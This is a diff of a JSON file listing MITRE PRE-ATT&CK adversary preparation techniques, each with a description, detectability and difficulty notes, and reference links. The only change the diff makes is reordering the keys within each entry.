"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.",
- "value": "Spear phishing messages with malicious links - PRE-T1146",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1146"
- ],
"external_id": "PRE-T1146",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1146"
]
},
- "uuid": "489a7797-01c3-4706-8cd1-ec56a9db3adc"
+ "uuid": "489a7797-01c3-4706-8cd1-ec56a9db3adc",
+ "value": "Spear phishing messages with malicious links - PRE-T1146"
},
{
"description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.",
- "value": "Hardware or software supply chain implant - PRE-T1142",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142"
- ],
"external_id": "PRE-T1142",
"kill_chain": [
"mitre-pre-attack:pre-attack:stage-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142"
]
},
- "uuid": "388f3a5c-2cdd-466c-9159-b507fa429fcd"
+ "uuid": "388f3a5c-2cdd-466c-9159-b507fa429fcd",
+ "value": "Hardware or software supply chain implant - PRE-T1142"
},
{
"description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
- "value": "Determine secondary level tactical element - PRE-T1021",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021"
- ],
"external_id": "PRE-T1021",
"kill_chain": [
"mitre-pre-attack:pre-attack:target-selection"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021"
]
},
- "uuid": "b9148981-152a-4a19-95c1-962803f5c9af"
+ "uuid": "b9148981-152a-4a19-95c1-962803f5c9af",
+ "value": "Determine secondary level tactical element - PRE-T1021"
},
{
"description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",
- "value": "Upload, install, and configure software/tools - PRE-T1139",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139"
- ],
"external_id": "PRE-T1139",
"kill_chain": [
"mitre-pre-attack:pre-attack:stage-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139"
]
},
- "uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37"
+ "uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37",
+ "value": "Upload, install, and configure software/tools - PRE-T1139"
},
{
"description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Assign KITs/KIQs into categories - PRE-T1005",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1005"
- ],
"external_id": "PRE-T1005",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1005"
]
},
- "uuid": "a86a21a4-6304-4df3-aa6d-08114c47d48f"
+ "uuid": "a86a21a4-6304-4df3-aa6d-08114c47d48f",
+ "value": "Assign KITs/KIQs into categories - PRE-T1005"
},
{
"description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).",
- "value": "Analyze application security posture - PRE-T1070",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070"
- ],
"external_id": "PRE-T1070",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070"
]
},
- "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925"
+ "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925",
+ "value": "Analyze application security posture - PRE-T1070"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.",
- "value": "Targeted social media phishing - PRE-T1143",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1143"
- ],
"external_id": "PRE-T1143",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1143"
]
},
- "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1"
+ "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1",
+ "value": "Targeted social media phishing - PRE-T1143"
},
{
"description": "The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.",
- "value": "Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169"
- ],
"external_id": "PRE-T1169",
"kill_chain": [
"mitre-pre-attack:pre-attack:persona-development"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169"
]
},
- "uuid": "d58f3996-e293-4f69-a2c8-0e1851cb8297"
+ "uuid": "d58f3996-e293-4f69-a2c8-0e1851cb8297",
+ "value": "Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169"
},
{
"description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses",
- "value": "Determine 3rd party infrastructure services - PRE-T1037",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037"
- ],
"external_id": "PRE-T1037",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037"
]
},
- "uuid": "856a9371-4f0f-4ea9-946e-f3144204240f"
+ "uuid": "856a9371-4f0f-4ea9-946e-f3144204240f",
+ "value": "Determine 3rd party infrastructure services - PRE-T1037"
},
{
"description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off the record.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.",
- "value": "Identify resources required to build capabilities - PRE-T1125",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125"
- ],
"external_id": "PRE-T1125",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125"
]
},
- "uuid": "c9fb4451-729d-4771-b205-52c1829f949c"
+ "uuid": "c9fb4451-729d-4771-b205-52c1829f949c",
+ "value": "Identify resources required to build capabilities - PRE-T1125"
},
{
"description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.",
- "value": "Friend/Follow/Connect to targets of interest - PRE-T1141",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141"
- ],
"external_id": "PRE-T1141",
"kill_chain": [
"mitre-pre-attack:pre-attack:stage-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141"
]
},
- "uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d"
+ "uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d",
+ "value": "Friend/Follow/Connect to targets of interest - PRE-T1141"
},
{
"description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
- "value": "Create infected removable media - PRE-T1132",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132"
- ],
"external_id": "PRE-T1132",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132"
]
},
- "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f"
+ "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f",
+ "value": "Create infected removable media - PRE-T1132"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.",
- "value": "DNS poisoning - PRE-T1159",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1159"
- ],
"external_id": "PRE-T1159",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1159"
]
},
- "uuid": "76c9e8cb-52e1-4ddc-80d4-5f7231842e06"
+ "uuid": "76c9e8cb-52e1-4ddc-80d4-5f7231842e06",
+ "value": "DNS poisoning - PRE-T1159"
},
{
"description": "An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Active service detection may trigger an alert. Passive service enumeration is not detected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)",
- "value": "Identify web defensive services - PRE-T1033",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033"
- ],
"external_id": "PRE-T1033",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033"
]
},
- "uuid": "288b3cc3-f4da-4250-ab8c-d8b5dbed94ca"
+ "uuid": "288b3cc3-f4da-4250-ab8c-d8b5dbed94ca",
+ "value": "Identify web defensive services - PRE-T1033"
},
{
"description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weakness automatically.",
- "value": "Analyze architecture and configuration posture - PRE-T1065",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065"
- ],
"external_id": "PRE-T1065",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065"
]
},
- "uuid": "87775365-2081-4b6e-99bd-48a3b8f36563"
+ "uuid": "87775365-2081-4b6e-99bd-48a3b8f36563",
+ "value": "Analyze architecture and configuration posture - PRE-T1065"
},
{
"description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.",
- "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1084",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084"
- ],
"external_id": "PRE-T1084",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084"
]
},
- "uuid": "286cc500-4291-45c2-99a1-e760db176402"
+ "uuid": "286cc500-4291-45c2-99a1-e760db176402",
+ "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1084"
},
{
"description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
- "value": "Determine approach/attack vector - PRE-T1022",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022"
- ],
"external_id": "PRE-T1022",
"kill_chain": [
"mitre-pre-attack:pre-attack:target-selection"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022"
]
},
- "uuid": "d45fe3c2-0688-43b9-ac07-7eb86f575e93"
+ "uuid": "d45fe3c2-0688-43b9-ac07-7eb86f575e93",
+ "value": "Determine approach/attack vector - PRE-T1022"
},
{
"description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment",
- "value": "Research visibility gap of security vendors - PRE-T1067",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067"
- ],
"external_id": "PRE-T1067",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067"
]
},
- "uuid": "b26babc7-9127-4bd5-9750-5e49748c9be3"
+ "uuid": "b26babc7-9127-4bd5-9750-5e49748c9be3",
+ "value": "Research visibility gap of security vendors - PRE-T1067"
},
{
"description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.",
- "value": "Analyze business processes - PRE-T1078",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078"
- ],
"external_id": "PRE-T1078",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078"
]
},
- "uuid": "57619ab3-f6a5-43c8-8dd1-b0b8a986a870"
+ "uuid": "57619ab3-f6a5-43c8-8dd1-b0b8a986a870",
+ "value": "Analyze business processes - PRE-T1078"
},
{
"description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.",
- "value": "Assess security posture of physical locations - PRE-T1079",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079"
- ],
"external_id": "PRE-T1079",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079"
]
},
- "uuid": "31a57c70-6709-4d06-a473-c3df1f74c1d4"
+ "uuid": "31a57c70-6709-4d06-a473-c3df1f74c1d4",
+ "value": "Assess security posture of physical locations - PRE-T1079"
},
{
"description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.",
- "value": "Obtain booter/stressor subscription - PRE-T1173",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173"
- ],
"external_id": "PRE-T1173",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173"
]
},
- "uuid": "3d1488a6-59e6-455a-8b80-78b53edc33fe"
+ "uuid": "3d1488a6-59e6-455a-8b80-78b53edc33fe",
+ "value": "Obtain booter/stressor subscription - PRE-T1173"
},
{
"description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically. Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.",
- "value": "Analyze data collected - PRE-T1064",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064"
- ],
"external_id": "PRE-T1064",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064"
]
},
- "uuid": "773950e1-090c-488b-a480-9ff236312e31"
+ "uuid": "773950e1-090c-488b-a480-9ff236312e31",
+ "value": "Analyze data collected - PRE-T1064"
},
{
"description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.",
- "value": "Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038"
- ],
"external_id": "PRE-T1038",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038"
]
},
- "uuid": "ef6197fd-a58a-4006-bfd6-1d7765d8409d"
+ "uuid": "ef6197fd-a58a-4006-bfd6-1d7765d8409d",
+ "value": "Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038"
},
{
"description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Generate analyst intelligence requirements - PRE-T1011",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011"
- ],
"external_id": "PRE-T1011",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011"
]
},
- "uuid": "e754fa49-2db1-416b-92db-7f886decd099"
+ "uuid": "e754fa49-2db1-416b-92db-7f886decd099",
+ "value": "Generate analyst intelligence requirements - PRE-T1011"
},
{
"description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",
- "value": "Port redirector - PRE-T1140",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140"
- ],
"external_id": "PRE-T1140",
"kill_chain": [
"mitre-pre-attack:pre-attack:stage-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140"
]
},
- "uuid": "13ff5307-b650-405a-9664-d8076930b2bf"
+ "uuid": "13ff5307-b650-405a-9664-d8076930b2bf",
+ "value": "Port redirector - PRE-T1140"
},
{
"description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.",
- "value": "Identify business processes/tempo - PRE-T1057",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057"
- ],
"external_id": "PRE-T1057",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057"
]
},
- "uuid": "1f82ef59-b7da-4cd3-a41c-2e80f80f084f"
+ "uuid": "1f82ef59-b7da-4cd3-a41c-2e80f80f084f",
+ "value": "Identify business processes/tempo - PRE-T1057"
},
{
